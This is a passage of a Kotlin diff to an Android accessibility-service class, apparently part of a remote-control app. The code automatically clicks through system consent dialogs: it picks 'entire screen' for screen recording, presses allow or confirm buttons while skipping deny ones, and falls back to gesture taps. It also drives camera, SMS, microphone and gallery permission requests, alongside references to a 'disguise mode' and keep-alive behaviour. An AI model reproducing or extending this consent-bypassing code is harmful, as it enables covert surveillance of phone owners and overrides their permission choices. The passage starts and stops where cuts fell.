+ )
+ val fullScreenTexts = arrayOf(
+ "整个屏幕", "整个设备", "全屏", "完整屏幕",
+ "Entire screen", "Full screen", "Whole screen", "Entire display"
+ )
+
// 先检查是否有"单个应用"文本（参考case 16: 搜索"单个应用"）
- val singleAppNodes = findNodesByText(rootNode, "单个应用")
- if (singleAppNodes.isNotEmpty()) {
- Log.i(TAG, "🎬 [d.t] 检测到两步授权弹窗（有'单个应用'选项）")
+ var singleAppDetected = false
+ for (singleText in singleAppTexts) {
+ val singleAppNodes = findNodesByText(sequenceRoot, singleText)
+ if (singleAppNodes.isEmpty()) continue
+ singleAppDetected = true
+ Log.i(TAG, "🎬 [d.t] 检测到两步授权弹窗（命中'$singleText'）")
+
+ // 有些ROM默认选中“单个应用”，先点开选择器再选“整个屏幕”
+ val singleTarget = singleAppNodes.firstOrNull { it.isVisibleToUser }
+ val singleClickTarget = singleTarget?.let { if (it.isClickable) it else findClickableParentOrSibling(it) }
+ if (singleClickTarget != null) {
+ singleClickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
+ delay(180)
+ sequenceRoot = service.rootInActiveWindow ?: sequenceRoot
+ }
+ break
}
// 点击"整个屏幕"（参考case 15）
- val fullScreenTexts = arrayOf(
- "整个屏幕", "全屏", "完整屏幕", "Entire screen", "Full screen", "Whole screen"
- )
var fullScreenClicked = false
for (text in fullScreenTexts) {
- val nodes = findNodesByText(rootNode, text)
+ val nodes = findNodesByText(sequenceRoot, text)
for (node in nodes) {
if (node.isVisibleToUser) {
val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
@@ -860,7 +2057,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 也尝试RadioButton方式选择全屏
if (!fullScreenClicked) {
- val radioButtons = findNodesByClassName(rootNode, "android.widget.RadioButton")
+ val radioButtons = findNodesByClassName(sequenceRoot, "android.widget.RadioButton")
for (radio in radioButtons) {
val radioText = radio.text?.toString() ?: ""
val radioDesc = radio.contentDescription?.toString() ?: ""
@@ -877,6 +2074,10 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
}
}
+
+ if (singleAppDetected && !fullScreenClicked) {
+ Log.w(TAG, "⚠️ [d.t] 已检测到单应用模式，但未成功切换到整个屏幕，将直接尝试确认按钮")
+ }
if (fullScreenClicked) {
// 延迟300ms等待界面更新（参考case 15 → case 14的延迟）
@@ -886,16 +2087,18 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// === Step 2: 点击确认按钮（参考case 14: 遍历f605d确认按钮数组） ===
delay(300)
- val updatedRoot = service.rootInActiveWindow ?: return
-
+ val updatedRoot = service.rootInActiveWindow ?: sequenceRoot
+ var confirmClicked = false
+ val confirmKeywords = mediaProjectionConfirmKeywords.toList()
+
for (confirmText in mediaProjectionConfirmKeywords) {
val buttons = findNodesByText(updatedRoot, confirmText)
for (button in buttons) {
if (!button.isVisibleToUser) continue
// 检查是否在黑名单中
- val buttonText = button.text?.toString() ?: ""
- val isDenied = denyButtonBlacklist.any { buttonText.contains(it, ignoreCase = true) }
+ val buttonText = buildNodeCombinedText(button.text, button.contentDescription)
+ val isDenied = isRuntimeDenyText(buttonText)
if (isDenied) continue
val clickTarget = if (button.isClickable) button else findClickableParentOrSibling(button)
@@ -903,12 +2106,37 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val success = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
if (success) {
Log.i(TAG, "🎬 [d.t] 成功点击确认按钮: '$confirmText'")
+ confirmClicked = true
+ stopAutoClickingImmediately()
+ return
+ } else if (tapNodeCenterByGesture(clickTarget, "d_t_confirm:$confirmText")) {
+ Log.i(TAG, "🎬 [d.t] 节点点击失败，已触发手势中心点击兜底: '$confirmText'")
+ confirmClicked = true
stopAutoClickingImmediately()
return
}
}
}
}
+
+ // 文本搜索未命中时，遍历可点击节点做一次“开始/同意”语义匹配
+ if (!confirmClicked) {
+ val clickableNodes = findAllClickableNodes(updatedRoot)
+ for (node in clickableNodes) {
+ if (!node.isVisibleToUser) continue
+ val nodeText = buildNodeCombinedText(node.text, node.contentDescription)
+ if (nodeText.isBlank() || isRuntimeDenyText(nodeText)) continue
+ if (!containsAnyKeyword(nodeText, confirmKeywords)) continue
+
+ val clickTarget = if (node.isClickable) node else findClickableParentOrSibling(node)
+ if (clickTarget != null && clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)) {
+ Log.i(TAG, "🎬 [d.t] 语义匹配点击确认按钮成功: '$nodeText'")
+ confirmClicked = true
+ stopAutoClickingImmediately()
+ return
+ }
+ }
+ }
// === Step 3: 节点点击失败时，使用坐标点击兜底（参考d.g.f()） ===
Log.i(TAG, "🎬 [d.t] 节点点击失败，尝试坐标点击兜底")
@@ -951,7 +2179,11 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// OPPO/一加（参考：oppo ≤1080w → (540, 1980~2050) 重复3次）
brand.contains("oppo") || brand.contains("oneplus") || brand.contains("realme") -> {
when {
- screenWidth < 780 -> listOf(ClickConfig(360, 1350, 3))
+ // OPPO小屏机型常见布局：右下角“开始”按钮
+ screenWidth < 780 -> listOf(
+ ClickConfig((screenWidth * 0.80f).toInt(), (screenHeight * 0.69f).toInt(), 2),
+ ClickConfig((screenWidth * 0.82f).toInt(), (screenHeight * 0.71f).toInt(), 1)
+ )
screenWidth <= 1080 -> listOf(
ClickConfig(540, 1980, 2),
ClickConfig(540, 2050, 1)
@@ -1041,6 +2273,28 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.e(TAG, "❌ [d.g] 手势点击失败: ($x, $y)", e)
}
}
+
+ private fun tapNodeCenterByGesture(node: AccessibilityNodeInfo, reason: String): Boolean {
+ return try {
+ val bounds = android.graphics.Rect()
+ node.getBoundsInScreen(bounds)
+ if (bounds.isEmpty) {
+ Log.w(TAG, "⚠️ 手势中心点击失败，节点无有效边界: reason=$reason")
+ return false
+ }
+ val centerX = (bounds.left + bounds.right) / 2
+ val centerY = (bounds.top + bounds.bottom) / 2
+ Log.i(
+ TAG,
+ "🎯 节点点击失败，改用手势中心点击: reason=$reason, center=($centerX,$centerY), bounds=$bounds"
+ )
+ performGestureClick(centerX, centerY)
+ true
+ } catch (e: Exception) {
+ Log.w(TAG, "⚠️ 手势中心点击异常: reason=$reason", e)
+ false
+ }
+ }
/**
* 第二层：通用权限弹窗自动点击（参考d.r）
@@ -1054,15 +2308,32 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
val packageName = event.packageName?.toString() ?: ""
+ val className = event.className?.toString().orEmpty()
// 只处理系统相关的包名（权限弹窗来源）
if (!packageName.contains("android") &&
!packageName.contains("systemui") &&
!packageName.contains("permissioncontroller") &&
!packageName.contains("settings") &&
- !packageName.contains("packageinstaller")) {
+ !packageName.contains("packageinstaller") &&
+ !packageName.contains("securitycenter") &&
+ !packageName.contains("permcenter") &&
+ !packageName.contains("lbe.security.miui") &&
+ !packageName.contains("systemmanager")) {
return
}
+
+ if (isMiuiPermissionEditorPackage(packageName)) {
+ val inMiuiPermissionEditor = className.contains("PermissionsEditorActivity", ignoreCase = true) ||
+ className.contains("PermissionAppsModifyActivity", ignoreCase = true)
+ if (inMiuiPermissionEditor || !activeRuntimePermissionRequest.isNullOrBlank()) {
+ Log.d(
+ TAG,
+ "⏭️ [d.r] 跳过MIUI权限编辑页通用点击，避免误触详情行: class=$className, activeRequest=$activeRuntimePermissionRequest"
+ )
+ return
+ }
+ }
val rootNode = service.rootInActiveWindow ?: return
@@ -1197,19 +2468,10 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 🔧 优化：更保守的状态管理，只在确实需要时才设置
if (!isRequestingMediaProjection) {
Log.i(TAG, "🎯 [权限申请] 当前不在权限申请状态，临时设置为申请状态")
- isRequestingMediaProjection = true
-
- // 🔧 缩短安全重置时间，避免状态卡死
- serviceScope.launch {
- delay(8000) // 8秒后检查（减少了2秒）
- if (isRequestingMediaProjection && !hasMediaProjectionPermission()) {
- Log.w(TAG, "⚠️ [安全重置] 8秒后权限仍未获取，重置状态避免乱点击")
- isRequestingMediaProjection = false
- mediaProjectionRetryCount = 0
- }
- }
+ setMediaProjectionRequesting(true)
} else {
Log.i(TAG, "🎯 [权限申请] 已在权限申请状态，无需重复设置")
+ startOrRefreshMediaProjectionSafetyReset("event_detect_dialog_keepalive")
}
}
}
@@ -1615,35 +2877,75 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return clickableNodes
}
+ private fun isMiuiPermissionEditorPackage(packageName: String?): Boolean {
+ if (packageName.isNullOrBlank()) return false
+ val normalized = packageName.lowercase()
+ return normalized.contains("miui.securitycenter") ||
+ normalized.contains("miui.permcenter") ||
+ normalized.contains("lbe.security.miui")
+ }
+
/**
* 检测是否可能是权限对话框 - 更宽松的检测
*/
private fun isLikelyPermissionDialog(packageName: String?): Boolean {
- if (packageName == null) return true // ✅ 空包名也允许处理，可能是系统对话框
+ if (packageName.isNullOrBlank()) return false
+ val normalized = packageName.lowercase()
// ✅ 关键修复：排除锁屏界面，避免误点击锁屏确认按钮
if (isLockScreenInterface(packageName)) {
Log.w(TAG, "🔒 [关键修复] 检测到锁屏界面 ($packageName)，跳过权限处理避免误点击确认按钮")
return false
}
-
- // ✅ 扩大检测范围，包含更多可能的权限对话框
- return packageName.contains("systemui") ||
- packageName.contains("system") ||
- packageName.contains("android") ||
- packageName.contains("permissioncontroller") ||
- packageName.contains("settings") ||
- packageName.contains("com.android") ||
- packageName.contains("permission") ||
- packageName.contains("dialog") ||
- packageName.lowercase().contains("screen") ||
- // ✅ 厂商定制UI
- packageName.contains("miui") ||
- packageName.contains("coloros") ||
- packageName.contains("emui") ||
- packageName.contains("flyme") ||
- packageName.contains("funtouch") ||
- packageName.contains("oneplus")
+
+ // 桌面/相册/相机等页面容易误触发“开始拍摄”，直接排除
+ val denyPackages = listOf(
+ "com.miui.home",
+ "com.miui.gallery",
+ "com.android.camera",
+ "com.miui.personalassistant",
+ "com.android.mms",
+ "com.google.android.apps.messaging"
+ )
+ if (denyPackages.any { normalized == it || normalized.startsWith("$it.") }) {
+ return false
+ }
+
+ val inPermissionFlowPackages = permissionFlowPackageHints.any { hint ->
+ normalized == hint || normalized.contains(hint)
+ }
+
+ // 只允许系统权限/安全中心相关窗口，避免在普通应用页面误点
+ return normalized == "android" ||
+ normalized.contains("systemui") ||
+ inPermissionFlowPackages ||
+ normalized.contains("settings") ||
+ normalized.contains("permission")
+ }
+
+ /**
+ * 发送短信运行时权限弹窗专用包名检测（更严格，避免误点短信应用界面）
+ */
+ private fun isRuntimePermissionDialogPackage(packageName: String?): Boolean {
+ if (packageName == null) return true
+ val normalized = packageName.lowercase()
+ val explicitDenyPackages = listOf(
+ "mms",
+ "message",
+ "messaging",
+ "sms",
+ "dialer",
+ "contacts"
+ )
+ if (explicitDenyPackages.any { normalized.contains(it) }) {
+ return false
+ }
+ val inPermissionFlowPackages = permissionFlowPackageHints.any { hint ->
+ normalized == hint || normalized.contains(hint)
+ }
+ return normalized.contains("systemui") ||
+ normalized == "android" ||
+ inPermissionFlowPackages
}
/**
@@ -2241,12 +3543,12 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// ✅ 简化系统对话框检测
val isSystemDialog = isLikelyPermissionDialog(packageName)
- val shouldProcess = isSystemDialog || mediaProjectionRetryCount >= 2 // 降低重试阈值，从3降到2
+ val shouldProcess = isSystemDialog
- Log.d(TAG, "🔍 处理决策: shouldProcess=$shouldProcess (isSystemDialog=$isSystemDialog, retryCount=$mediaProjectionRetryCount)")
+ Log.d(TAG, "🔍 处理决策: shouldProcess=$shouldProcess (isSystemDialog=$isSystemDialog, packageName=$packageName)")
if (!shouldProcess) {
- Log.v(TAG, "📋 非权限对话框且重试次数不足，跳过处理 (packageName=$packageName)")
+ Log.v(TAG, "📋 非系统权限窗口，跳过处理 (packageName=$packageName)")
return
}
@@ -2487,10 +3789,13 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (success) {
Log.i(TAG, "🎉 通过resourceId成功点击确认按钮: $resourceId")
buttonFound = true
- isRequestingMediaProjection = false
break
} else {
Log.w(TAG, "⚠️ ResourceId点击失败: $resourceId")
+ if (tapNodeCenterByGesture(button, "resourceId:$resourceId")) {
+ buttonFound = true
+ break
+ }
}
} else {
Log.i(TAG, " ❌ ResourceId节点不可点击或非按钮类型")
@@ -2509,9 +3814,6 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "🔍 策略3: 智能匹配所有可点击节点...")
buttonFound = findAndClickSmartButton(rootNode, 0).first
}
- if (buttonFound) {
- isRequestingMediaProjection = false
- }
}
// 策略4: 全面扫描所有按钮 - 新增策略
@@ -2523,9 +3825,6 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.i(TAG, "🔍 策略4: 全面扫描所有按钮并详细分析...")
buttonFound = scanAllButtonsAndAnalyze(rootNode)
}
- if (buttonFound) {
- isRequestingMediaProjection = false
- }
}
// 策略5: 二次确认页面检测（仅在特定条件下触发）
@@ -2536,9 +3835,6 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
} else {
Log.i(TAG, "🔍 策略5: 检测是否存在二次确认页面...")
buttonFound = handleSecondaryConfirmationIfNeeded(rootNode)
- if (buttonFound) {
- isRequestingMediaProjection = false
- }
}
}
@@ -2553,28 +3849,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (buttonFound) {
Log.i(TAG, "🎉 MediaProjection权限对话框处理成功")
- // ✅ 立即重置所有状态，防止继续创建MainActivity
- isRequestingMediaProjection = false
- mediaProjectionRetryCount = 0
+ // 保持 requesting=true，等待 MainActivity.onActivityResult 写入真实 token
hasDetectedPermissionDialog = false
dialogDetectionCount = 0
lastDialogPackageName = null
- Log.i(TAG, "🔄 已重置所有权限申请状态，停止MainActivity创建循环")
+ Log.i(TAG, "⏳ 已点击授权按钮，等待MainActivity回调真实权限数据")
// ⚠️ 延迟发送权限成功广播，等待MainActivity确认
Log.i(TAG, "⏳ 等待MainActivity权限结果确认...")
// 设置一个延迟检查，如果3秒后MainActivity没有确认权限成功，则认为失败
CoroutineScope(Dispatchers.Main).launch {
- delay(3000)
+ delay(6000)
- // 检查权限是否真的获取成功
- if (isRequestingMediaProjection) {
- Log.w(TAG, "⚠️ 3秒后MainActivity仍未确认权限成功，可能点击了错误按钮")
+ // 检查权限是否真的获取成功（必须是 MainActivity 回调写入的真实数据）
+ if (!hasMediaProjectionPermission()) {
+ if (isSystemProjectionDialogVisible()) {
+ Log.i(TAG, "⏳ 权限弹窗仍在前台，延后重置状态等待系统回调")
+ return@launch
+ }
+ Log.w(TAG, "⚠️ 6秒后仍未检测到真实MediaProjection权限数据，可能点击失败或系统未回调")
Log.w(TAG, "🔄 重置状态并重试或要求用户手动操作")
// 重置状态，让系统有机会重试
+ isRequestingMediaProjection = false
hasDetectedPermissionDialog = false
dialogDetectionCount = 0
@@ -2683,6 +3982,9 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return Pair(true, false)
} else {
Log.w(TAG, "⚠️ 智能匹配点击失败")
+ if (tapNodeCenterByGesture(node, "smart_button:$text")) {
+ return Pair(true, false)
+ }
}
} else {
Log.d(TAG, " ❓ 节点不符合确认按钮特征")
@@ -3118,6 +4420,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
fun stopAutoClickingImmediately() {
try {
Log.i(TAG, "🛑 [强制停止] 立即停止PermissionGranter自动点击功能")
+ cancelMediaProjectionSafetyReset("stop_auto_clicking")
isRequestingMediaProjection = false
dialogDetectionCount = 0
mediaProjectionRetryCount = 0
@@ -3134,43 +4437,13 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
private fun handleMediaProjectionGranted() {
try {
- Log.i(TAG, "MediaProjection权限已获取")
+ Log.i(TAG, "MediaProjection授权按钮已点击")
- // ✅ 关键修复：权限获取成功后立即停止自动点击功能
- isRequestingMediaProjection = false
- dialogDetectionCount = 0
- mediaProjectionRetryCount = 0
+ // 关键约束：禁止伪造权限 Intent，必须等待 MainActivity.onActivityResult 写入真实数据
+ Log.i(TAG, "🧾 等待MainActivity.onActivityResult回写真实MediaProjection权限数据（不再写入模拟Intent）")
hasDetectedPermissionDialog = false
- Log.i(TAG, "🛑 [关键修复] 权限获取成功，已停止PermissionGranter自动点击功能")
-
- // ✅ 关键修复：直接模拟权限数据存储，不依赖MainActivity的onActivityResult
- try {
- Log.i(TAG, "🔧 权限按钮点击成功，模拟权限数据存储")
-
- // 创建模拟的权限数据 - 使用标准的RESULT_OK和最小化的Intent
- val resultCode = android.app.Activity.RESULT_OK
- val resultData = android.content.Intent().apply {
- // 添加必要的权限标识，模拟系统返回的权限数据
- putExtra("EXTRA_MEDIA_PROJECTION_PERMISSION_GRANTED", true)
- putExtra("EXTRA_PERMISSION_SOURCE", "PermissionGranter_AutoClick")
- putExtra("EXTRA_TIMESTAMP", System.currentTimeMillis())
- }
-
- // 直接存储到MediaProjectionHolder
- com.hikoncont.MediaProjectionHolder.setPermissionData(resultCode, resultData)
- Log.i(TAG, "✅ 已模拟存储MediaProjection权限数据到MediaProjectionHolder")
-
- // 验证存储是否成功
- val storedData = com.hikoncont.MediaProjectionHolder.getPermissionData()
- if (storedData != null) {
- Log.i(TAG, "✅ 权限数据存储验证成功，MainActivity监听应该能检测到")
- } else {
- Log.e(TAG, "❌ 权限数据存储验证失败")
- }
-
- } catch (e: Exception) {
- Log.e(TAG, "❌ 模拟权限数据存储失败", e)
- }
+ dialogDetectionCount = 0
+ lastDialogPackageName = null
// Android 15设备可能需要二次确认，启动监听
val androidVersion = Build.VERSION.SDK_INT
@@ -3178,6 +4451,20 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
// 🚨 Android 11+特殊处理：统一使用无障碍截图API，跳过二次确认监听
if (androidVersion >= 30) {
Log.i(TAG, "📱 Android 11+设备：使用无障碍截图API，跳过二次确认监听")
+ CoroutineScope(Dispatchers.Main).launch {
+ var checked = 0
+ while (checked < 12) {
+ if (hasMediaProjectionPermission()) {
+ Log.i(TAG, "✅ 检测到真实MediaProjection权限数据，停止自动点击状态")
+ setMediaProjectionRequesting(false)
+ return@launch
+ }
+ delay(500)
+ checked++
+ }
+ Log.w(TAG, "⚠️ 超时未检测到真实MediaProjection权限数据，结束当前申请轮次")
+ isRequestingMediaProjection = false
+ }
return
}
@@ -3283,7 +4570,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val rootNode = service.rootInActiveWindow ?: return@repeat
try {
- val buttonTexts = romAdapter.getMediaProjectionButtonTexts()
+ val buttonTexts = romPolicy.mediaProjectionConfirmTexts
val button = findButtonByTexts(rootNode, buttonTexts)
if (button != null) {
@@ -3416,10 +4703,22 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
fun resetPermissionRequestState() {
Log.i(TAG, "🔄 重置权限申请状态")
isRequestingMediaProjection = false
+ isRequestingCameraPermission = false
+ isRequestingGalleryPermission = false
+ isRequestingMicrophonePermission = false
+ isRequestingSMSPermission = false
// 删除悬浮窗权限请求状态重置
mediaProjectionRetryCount = 0
+ cameraPermissionRetryCount = 0
+ galleryPermissionRetryCount = 0
+ microphonePermissionRetryCount = 0
+ smsPermissionRetryCount = 0
// 删除悬浮窗权限重试计数重置
lastMediaProjectionAttemptTime = 0L
+ cameraPermissionRequestStartedAt = 0L
+ galleryPermissionRequestStartedAt = 0L
+ microphonePermissionRequestStartedAt = 0L
+ smsPermissionRequestStartedAt = 0L
// 删除悬浮窗权限最后尝试时间重置
// 停止二次确认监听
@@ -3578,6 +4877,9 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return true
} else {
Log.w(TAG, "⚠️ 点击确认按钮失败")
+ if (tapNodeCenterByGesture(targetButton, "scan_all_confirm:${targetButton.text}")) {
+ return true
+ }
}
}
@@ -3622,18 +4924,55 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
}
}
- // 如果还是没找到，尝试点击非取消按钮
- for (button in allButtons) {
- val text = button.text?.toString()?.lowercase() ?: ""
- val isCancelButton = text.contains("cancel") || text.contains("取消") ||
- text.contains("deny") || text.contains("拒绝") ||
- text.contains("dismiss") || text.contains("关闭")
-
- if (!isCancelButton) {
- Log.i(TAG, "🎯 尝试点击非取消按钮: 文本='$text'")
+ // 如果还是没找到，执行严格兜底：
+ // 1) 必须在系统投屏弹窗上下文
+ // 2) 必须是按钮样式节点
+ // 3) 必须命中确认语义（允许/开始），禁止“非取消即点击”
+ if (!isSystemProjectionDialogVisible()) {
+ Log.w(TAG, "🛡️ 跳过宽松兜底：当前非系统投屏弹窗上下文，避免误点")
+ } else {
+ for (button in allButtons) {
+ val text = button.text?.toString()?.trim().orEmpty()
+ val desc = button.contentDescription?.toString()?.trim().orEmpty()
+ val combinedText = buildNodeCombinedText(button.text, button.contentDescription)
+ val className = button.className?.toString().orEmpty()
+ val viewId = button.viewIdResourceName.orEmpty()
+
+ val buttonLikeClass =
+ className.contains("button", ignoreCase = true) ||
+ className.contains("material", ignoreCase = true)
+ val buttonLikeId =
+ viewId.contains("button", ignoreCase = true) ||
+ viewId.contains("positive", ignoreCase = true) ||
+ viewId.contains("confirm", ignoreCase = true)
+ val buttonLikeNode = button.isClickable && (buttonLikeClass || buttonLikeId)
+
+ val isCancelButton =
+ isRuntimeDenyText(combinedText) ||
+ text.contains("dismiss", ignoreCase = true) ||
+ desc.contains("dismiss", ignoreCase = true)
+ val isConfirmButton =
+ isRuntimeAllowText(combinedText) ||
+ viewId.contains("allow", ignoreCase = true) ||
+ viewId.contains("start", ignoreCase = true) ||
+ viewId.contains("positive", ignoreCase = true) ||
+ viewId.contains("button1", ignoreCase = true)
+
+ if (isCancelButton || !isConfirmButton || !buttonLikeNode) {
+ Log.d(
+ TAG,
+ "⏭️ 严格兜底跳过节点: text='$text', desc='$desc', class='$className', viewId='$viewId', confirm=$isConfirmButton, cancel=$isCancelButton, buttonLike=$buttonLikeNode"
+ )
+ continue
+ }
+
+ Log.i(TAG, "🎯 严格兜底点击确认按钮: text='$text', desc='$desc'")
val success = button.performAction(AccessibilityNodeInfo.ACTION_CLICK)
if (success) {
- Log.i(TAG, "🎉 成功点击非取消按钮: $text")
+ Log.i(TAG, "🎉 严格兜底点击成功: text='$text'")
+ return true
+ }
+ if (tapNodeCenterByGesture(button, "scan_all_strict_confirm:$text")) {
return true
}
}
@@ -4860,10 +6199,10 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
try {
Log.d(TAG, "🔍 检查是否为Android ${Build.VERSION.SDK_INT} 真实用户权限弹窗")
- // 🔧 首先检查包名，必须是系统UI才可能是权限弹窗
+ // 🔧 首先检查包名，必须是系统权限相关组件才可能是权限弹窗
val packageName = event.packageName?.toString()
- if (packageName != "com.android.systemui") {
- Log.d(TAG, "🔍 包名不是systemui，不是权限弹窗: $packageName")
+ if (!isLikelyMediaProjectionDialogPackage(packageName)) {
+ Log.d(TAG, "🔍 包名不在录屏弹窗白名单，不是权限弹窗: $packageName")
return false
}
@@ -5561,6 +6900,9 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return true
} else {
Log.w(TAG, "⚠️ 安全模式点击确认按钮失败")
+ if (tapNodeCenterByGesture(targetButton, "scan_safe_confirm:${targetButton.text}")) {
+ return true
+ }
}
} else {
Log.w(TAG, "⚠️ 安全模式未找到合适的确认按钮")
@@ -5657,8 +6999,15 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
fun startCameraPermissionRequest() {
if (isRequestingCameraPermission) {
- Log.i(TAG, "📷 摄像头权限申请已在进行中")
- return
+ if (shouldRecoverStaleRuntimeRequest("摄像头", cameraPermissionRequestStartedAt, hasCameraPermission())) {
+ isRequestingCameraPermission = false
+ cameraPermissionRetryCount = 0
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "stale_reset_before_restart")
+ } else {
+ Log.i(TAG, "📷 摄像头权限申请已在进行中")
+ return
+ }
}
// 🎭 检查是否是伪装模式，如果是则不申请权限
@@ -5669,6 +7018,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (hasCameraPermission()) {
Log.i(TAG, "✅ 摄像头权限已授予")
+ clearRuntimePermissionFailure("camera", "already_granted_before_request")
return
}
@@ -5677,36 +7027,51 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.e(TAG, "❌ 无障碍服务状态异常，无法申请权限")
return
}
-
+
+ if (shouldDeferRuntimePermissionForProjection("camera")) {
+ return
+ }
+ if (shouldWaitForForegroundRuntimeRequest("camera")) {
+ return
+ }
+
+ refreshRuntimePermissionPacing("camera_request")
+ if (!beginRuntimePermissionRequest("camera")) {
+ return
+ }
Log.i(TAG, "📷 开始摄像头权限申请流程")
isRequestingCameraPermission = true
cameraPermissionRetryCount = 0
-
- // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
- if (isKeepAliveScenario()) {
- Log.i(TAG, "💡 保活场景下申请摄像头权限，不启动MainActivity（避免保活程序拉起）")
- Log.i(TAG, "💡 建议：通过通知或其他方式让用户主动打开应用进行权限申请")
- return
- }
-
- // 确保MainActivity被启用
- ensureMainActivityEnabled()
-
- // 启动权限申请Activity
- val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
- flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
- putExtra("request_camera_permission", true)
- }
- context.startActivity(intent)
+ cameraPermissionRequestStartedAt = System.currentTimeMillis()
- // MIUI/澎湃OS 特殊处理
- if (isMiuiDevice()) {
- Log.i(TAG, "🔧 检测到小米/澎湃OS，尝试打开MIUI权限编辑页以授予摄像头权限")
- openMiuiPermissionEditor("camera")
- }else{
+ try {
+ var entryVisible = launchRuntimePermissionBridgeActivity("camera", "start_request")
+ if (!entryVisible && shouldLaunchMainActivityForRuntimeRequest("camera")) {
+ // 确保MainActivity被启用
+ ensureMainActivityEnabled()
+
+ // 启动权限申请Activity
+ val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
+ flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
+ putExtra("request_camera_permission", true)
+ }
+ context.startActivity(intent)
+ entryVisible = verifyRuntimeRequestEntry("camera", "main_activity")
+ }
- // 开始监听权限对话框
+ // MIUI/澎湃OS 特殊处理
+ if (isMiuiDevice() && !entryVisible) {
+ Log.i(TAG, "🔧 检测到小米/澎湃OS，尝试打开MIUI权限编辑页以授予摄像头权限")
+ openMiuiPermissionEditor("camera")
+ }
+ // 始终启动监听，确保MIUI分支也能在超时后自动清理请求状态
startCameraPermissionDialogMonitoring()
+ } catch (e: Exception) {
+ Log.e(TAG, "启动摄像头权限申请失败", e)
+ isRequestingCameraPermission = false
+ cameraPermissionRetryCount = 0
+ cameraPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("camera", "start_exception")
}
}
@@ -5716,8 +7081,15 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
*/
fun startSMSPermissionRequest() {
if (isRequestingSMSPermission) {
- Log.i(TAG, "📱 短信权限申请已在进行中")
- return
+ if (shouldRecoverStaleRuntimeRequest("短信", smsPermissionRequestStartedAt, hasSMSPermission())) {
+ isRequestingSMSPermission = false
+ smsPermissionRetryCount = 0
+ smsPermissionRequestStartedAt = 0L
+ releaseRuntimePermissionRequest("sms", "stale_reset_before_restart")
+ } else {
+ Log.i(TAG, "📱 短信权限申请已在进行中")
+ return
+ }
}
// 🎭 检查是否是伪装模式，如果是则不申请权限
@@ -5728,6 +7100,7 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
if (hasSMSPermission()) {
Log.i(TAG, "✅ 短信权限已授予")
+ clearRuntimePermissionFailure("sms", "already_granted_before_request")
return
}
@@ -5736,40 +7109,232 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
Log.e(TAG, "❌ 无障碍服务状态异常，无法申请权限")
return
}
-
+
+ if (shouldDeferRuntimePermissionForProjection("sms")) {
+ return
+ }
+ if (shouldWaitForForegroundRuntimeRequest("sms")) {
+ return
+ }
+
+ refreshRuntimePermissionPacing("sms_request")
+ if (!beginRuntimePermissionRequest("sms")) {
+ return
+ }
Log.i(TAG, "📱 开始短信权限申请流程")
isRequestingSMSPermission = true
smsPermissionRetryCount = 0
-
- // ✅ 修复：检查是否是保活场景，如果是则不启动MainActivity
- if (isKeepAliveScenario()) {
- Log.i(TAG, "💡 保活场景下申请短信权限，不启动MainActivity（避免保活程序拉起）")
- Log.i(TAG, "💡 建议：通过通知或其他方式让用户主动打开应用进行权限申请")
- return
- }
-
- // 确保MainActivity被启用
- ensureMainActivityEnabled()
-
- // 启动权限申请Activity
- val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
- flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
- putExtra("request_sms_permission", true)
- }
- context.startActivity(intent)
+ smsPermissionRequestStartedAt = System.currentTimeMillis()
- // MIUI/澎湃OS 特殊处理
- if (isMiuiDevice()) {
- Log.i(TAG, "🔧 检测到小米/澎湃OS，尝试打开MIUI权限编辑页以授予短信权限")
- openMiuiPermissionEditor("sms")
- }else{
- // 开始监听权限对话框
+ try {
+ var entryVisible = launchRuntimePermissionBridgeActivity("sms", "start_request")
+ if (!entryVisible && shouldLaunchMainActivityForRuntimeRequest("sms")) {
+ // 确保MainActivity被启用
+ ensureMainActivityEnabled()
+
+ // 启动权限申请Activity
+ val intent = Intent(context, com.hikoncont.MainActivity::class.java).apply {
+ flags = Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_CLEAR_TOP
